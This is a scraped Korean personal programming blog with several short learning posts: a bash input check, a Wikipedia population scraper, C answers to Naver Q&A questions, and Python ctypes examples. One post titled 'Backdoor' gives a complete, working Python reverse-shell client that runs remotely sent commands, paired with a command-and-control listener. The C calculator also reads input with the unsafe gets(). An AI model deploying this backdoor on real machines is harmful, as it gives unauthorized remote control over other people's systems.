sh01

언어/Script2018. 10. 3. 22:37

#!/bin/bash


echo -e "interget input plz: \c"

read nData


if [ `expr $nData \< 0` -eq 1 ]

then

        echo "negative"

else

        echo "positive"

fi



'언어 > Script' 카테고리의 다른 글

shell script for문  (0) 2017.07.07
Shell_script  (0) 2017.07.07
for문  (0) 2016.09.17
더하기  (0) 2016.09.17
입력  (0) 2016.09.17

TypeError: string indices must be integers



ValueError: {0} is not a valid coordinate or range

'언어 > python' 카테고리의 다른 글

PE 파싱 일부분  (0) 2018.10.08
로컬 피시 ip 확인 - 파이썬  (0) 2018.10.06
인구 크롤링  (0) 2018.09.26
Backdoor  (0) 2018.09.19
windll.kernel32.lstrcmpW  (0) 2018.09.11

인구 크롤링

언어/python2018. 9. 26. 16:21

target site : https://ko.wikipedia.org/wiki/%EB%8C%80%ED%95%9C%EB%AF%BC%EA%B5%AD%EC%9D%98_%EC%9D%B8%EA%B5%AC%EC%88%9C_%EB%8F%84%EC%8B%9C_%EB%AA%A9%EB%A1%9D


# __________________________________

import requests as req

from bs4 import BeautifulSoup

import pandas as pd

import re

# __________________________________

target_url = "https://ko.wikipedia.org/wiki/%EB%8C%80%ED%95%9C%EB%AF%BC%EA%B5%AD%EC%9D%98_%EC%9D%B8%EA%B5%AC%EC%88%9C_%EB%8F%84%EC%8B%9C_%EB%AA%A9%EB%A1%9D"


html = req.get(url=target_url)

adDict = {} # type of list

if html.status_code == 200 and html.ok:

    bs_obj = BeautifulSoup(html.text, "html.parser")


    # print (bs_obj)


    """

    #mw-content-text > div > table > tbody > tr:nth-child(1) > td:nth-child(2) > a

    #mw-content-text > div > table > tbody > tr:nth-child(2) > td:nth-child(2) > a

    ...

    #mw-content-text > div > table > tbody > tr:nth-child(85) > td:nth-child(2) > a:nth-child(2)

    #mw-content-text > div > table > tbody > tr:nth-child(80) > td:nth-child(2) > a:nth-child(2)

    인구 

    : #mw-content-text > div > table > tbody > tr:nth-child(1) > td:nth-child(4)

    """


    sIndex = 0x2

    while True:

        start = bs_obj.select("#mw-content-text > div > table > tbody > tr:nth-of-type({})".format(sIndex))

        if start == []:

            break

        else: # s != None

            name = ""

            for i in start:

                n, m = i.select("td:nth-of-type(2) > a"), i.select("td:nth-of-type(4)")

                """

                n: 이름 , m: 인구 

                """

                for info in n:

                # print ("{0:3d}: {1:s}".format(sIndex+1, i.string))

                    name += (info.string + ' ')

            name = name.rstrip(' ')

            # print (name, m[0].string)

            sIndex += 1

            menCnt = re.sub(',','',m[0].string)

            adDict[name] = int(menCnt, 10)


    Lst = [ x for x in adDict.items() ]

    df = pd.DataFrame(data=Lst, columns=['Name', 'Cnt'])

    print (df)

'언어 > python' 카테고리의 다른 글

로컬 피시 ip 확인 - 파이썬  (0) 2018.10.06
파이썬 에러 목록  (0) 2018.09.30
Backdoor  (0) 2018.09.19
windll.kernel32.lstrcmpW  (0) 2018.09.11
from_python_to_c_02  (0) 2018.09.09

Naver_지식인

언어/c언어2018. 9. 25. 22:15


https://kin.naver.com/qna/detail.nhn?d1id=1&dirId=1040101&docId=310710679

# include <stdio.h>

# include <string.h>

# include <stdlib.h>

# define SIZE 10

typedef struct Calc {

char opOne[SIZE];

char ope;

char opTwo[SIZE];

char resultv[SIZE*2];

int resultInt;

}Calc;

// ==========================================

//1.

void _init_(Calc* nParam);

//2.

void _valueInput_(Calc* nParam);

//3.

void _result_(Calc* nParam);

// ==========================================

int main(void) {

Calc myNode;

_init_(&myNode);

_valueInput_(&myNode);

_result_(&myNode);

printf("Result: %d\n", myNode.resultInt);

return 0;

} // end of main function 

// ==========================================

void _init_(Calc* nParam) {

nParam->ope = '\0';

strcpy(nParam->opOne, "\0");   // 숫자 _01

strcpy(nParam->opTwo, "\0");   // 숫자 _02

strcpy(nParam->resultv, "\0"); // 연산자 

nParam->resultInt = 0x0;

} // end of _init_ function

// ==========================================

void _valueInput_(Calc* nParam) {

printf("OP#1: ");

gets(nParam->opOne);

printf("OPER: ");

scanf("%c", &nParam->ope);

rewind(stdin); // 버퍼 비우기 

printf("OP#2: ");

gets(nParam->opTwo);

}

// ==========================================

void _result_(Calc* nParam) {

switch (nParam->ope) {

case '@':

strcpy(nParam->resultv, nParam->opOne);

strcat(nParam->resultv, nParam->opTwo);

nParam->resultInt = atoi(nParam->resultv);

nParam->resultInt += 1;

break;

case '#':

strcpy(nParam->resultv, nParam->opTwo);

strcat(nParam->resultv, nParam->opOne);

nParam->resultInt = atoi(nParam->resultv);

nParam->resultInt -= 1;

break;

default:

printf("error ... !!!\n");

exit(1);

}

}



'언어 > c언어' 카테고리의 다른 글

해공예  (0) 2018.10.07
네이버 ( 2018_10_07)  (0) 2018.10.07
네이버 지식인 답변  (0) 2018.09.14
http://www.jungol.co.kr/bbs/board.php?bo_table=pbank&wr_id=2069&sca=20  (0) 2018.07.16
네이버 지식인 문제 풀이  (0) 2018.06.15

4회차.pptx



꾸준함을 위해 간단하게 남아 정리하고 공부해본걸 올려보고자 한다.


참고 : 자바의 정석

'언어 > java' 카테고리의 다른 글

크롤링 => json 파일로 적재  (0) 2019.03.03
crawling + json  (0) 2019.02.13
stack 을 활용한 swap  (0) 2018.09.02
list => sort  (0) 2017.12.26
배열에서 최댓값과 최솟값  (0) 2017.12.26

Backdoor

언어/python2018. 9. 19. 12:33

import os, socket, sys

import subprocess


def usage(): #help

    print ('''tcp_reverse_backdoor.py <host> <port>''')


    sys.exit(1)


if len(sys.argv) != 3:

    usage()


with socket.socket() as s:

    addr = (sys.argv[1], int (sys.argv[2]))

    s.connect(addr)


    s.send('''

    ###########################

    # tcp_reverse_backdoor.py #

    ###########################

    >>'''.encode())


    while True:

        data = s.recv(1024).decode().lower()


        if "q" == data:

            # 프로그램 종료

            sys.exit(1)

        else:

            if data.startswith("cd"):

                # 디렉터리 변경

                os.chdir(data[3:].replace('\n', ''))

            else:

                result = os.popen(data).read()

            result = result + "\n>>"

            s.send(result.encode())







cnc_server

import socket

import sys


addr = ('0.0.0.0', 12345)


with socket.socket() as s:

    s.bind(addr)

    s.listen()


    print ("cnc server is started ...")


    conn, addr = s.accept()

    print ("Connect by", addr)


    while True:

        try:

            # 받은 데이터 출력

            data = conn.recv(1024)

            if data:

                print (data.decode(), end=" ")


            # 보낼 데이터 전송 

            data = input()

            conn.send(data.encode())

            if data == 'q':

                sys.exit(1)

        except Exception as e:

            print (e)


print ("{} is disconnected".format(addr))                



'언어 > python' 카테고리의 다른 글

파이썬 에러 목록  (0) 2018.09.30
인구 크롤링  (0) 2018.09.26
windll.kernel32.lstrcmpW  (0) 2018.09.11
from_python_to_c_02  (0) 2018.09.09
from_python_to_c_01  (0) 2018.09.09

네이버 지식인 답변

https://kin.naver.com/qna/detail.nhn?d1id=1&dirId=1040101&docId=309943939

# include <stdio.h>

# include <stdlib.h>

typedef struct Matrix {

int mat_one[2][4];

int mat_two[4][2];

int result_mat[2][2];

}Matrix, *ptr_Matrix;

// function prototype ==========================

void __init__(Matrix ** m);

void __matSetting__(Matrix ** m);

void __matMul__(Matrix ** m);

void __result__(Matrix ** m);

// =============================================

int main(void) {

ptr_Matrix my = NULL;

// 메모리 동적 할당

my = (ptr_Matrix)malloc(sizeof(Matrix));


if (my == NULL) {

exit(1);

}

else {

__init__(&my);

__matSetting__(&my);

__matMul__(&my);

__result__(&my);

}

// 메모리 해제

free(my);

return 0;

} // end of main function 


// =============================================

void __init__(Matrix ** m) {

int i, j;

// mat_one 행렬 초기화

for (i = 0; i < 2; i++) {

for (j = 0; j < 4; j++) {

*(*((*m)->mat_one + i) + j) = 0;

}

}


// mat_two 행렬 초기화

for (i = 0; i < 4; i++) {

for (j = 0; j < 2; j++) {

*(*((*m)->mat_two + i) + j) = 0;

}

}


// result 행렬 초기화

for (i = 0; i < 2; i++) {

for (j = 0; j < 2; j++) {

*(*((*m)->result_mat + i) + j) = 0;

}

}

} // end of __init__ function 


// =============================================

void __matSetting__(Matrix ** m) {

int i, j; // index

int num = 1;

// mat_one 행렬 초기화

for (i = 0; i < 2; i++) {

for (j = 0; j < 4; j++) {

*(*((*m)->mat_one + i) + j) = num;

++num;

}

}

// mat_two 행렬 초기화

for (i = 0; i < 4; i++) {

for (j = 0; j < 2; j++) {

*(*((*m)->mat_two + i) + j) = num;

++num;

}

}

} // end of __matSetting__ function 


void __matMul__(Matrix ** m) {

int i, j, k;


for (i = 0; i < 2; i++) {

for (j = 0; j < 2; j++) {

int tmp_number = 0x0;

for (k = 0; k < 4; k++) {

// (2by4) x (4by2) = (2by2)

tmp_number += ((**m).mat_one[i][k] * (**m).mat_two[k][j]);

/*

00     00

01     10

*/

}

(**m).result_mat[i][j] = tmp_number;

}

}

} // end of __matMul__ function

void __result__(Matrix ** m) {

int i, j;

for (i = 0; i < 2; i++) {

for (j = 0; j < 2; j++) {

printf("%d", (**m).result_mat[i][j]);

if (j != 2) {

printf(" ");

}

}

printf("\n");

}

}

'언어 > c언어' 카테고리의 다른 글

네이버 ( 2018_10_07)  (0) 2018.10.07
Naver_지식인  (0) 2018.09.25
http://www.jungol.co.kr/bbs/board.php?bo_table=pbank&wr_id=2069&sca=20  (0) 2018.07.16
네이버 지식인 문제 풀이  (0) 2018.06.15
네이버 지식인 문제 _02  (0) 2018.06.12

from ctypes import windll

s = windll.kernel32.lstrcmpW("he", "he")
print (s)


'언어 > python' 카테고리의 다른 글

인구 크롤링  (0) 2018.09.26
Backdoor  (0) 2018.09.19
from_python_to_c_02  (0) 2018.09.09
from_python_to_c_01  (0) 2018.09.09
풀이_03  (0) 2018.09.05

from ctypes import *


def main():


    s_data = "Hello world"

    # pointer 변수 : c_wchar_p

    '''

    char* c_s = "Hello world";

    printf("%#x", c_s);

    '''

    c_s = c_wchar_p(s_data)

    print (c_s)


    # 값에 접근

    print (c_s.value)

if __name__ == "__main__":

    main()

'언어 > python' 카테고리의 다른 글

Backdoor  (0) 2018.09.19
windll.kernel32.lstrcmpW  (0) 2018.09.11
from_python_to_c_01  (0) 2018.09.09
풀이_03  (0) 2018.09.05
풀이2  (0) 2018.09.05

from ctypes import *


libc = cdll.msvcrt

libc.printf(b"hello world\n")

libc.printf(b"%d + %d = %d", 10, 20, 10+20)

'언어 > python' 카테고리의 다른 글

windll.kernel32.lstrcmpW  (0) 2018.09.11
from_python_to_c_02  (0) 2018.09.09
풀이_03  (0) 2018.09.05
풀이2  (0) 2018.09.05
풀이_01  (0) 2018.09.05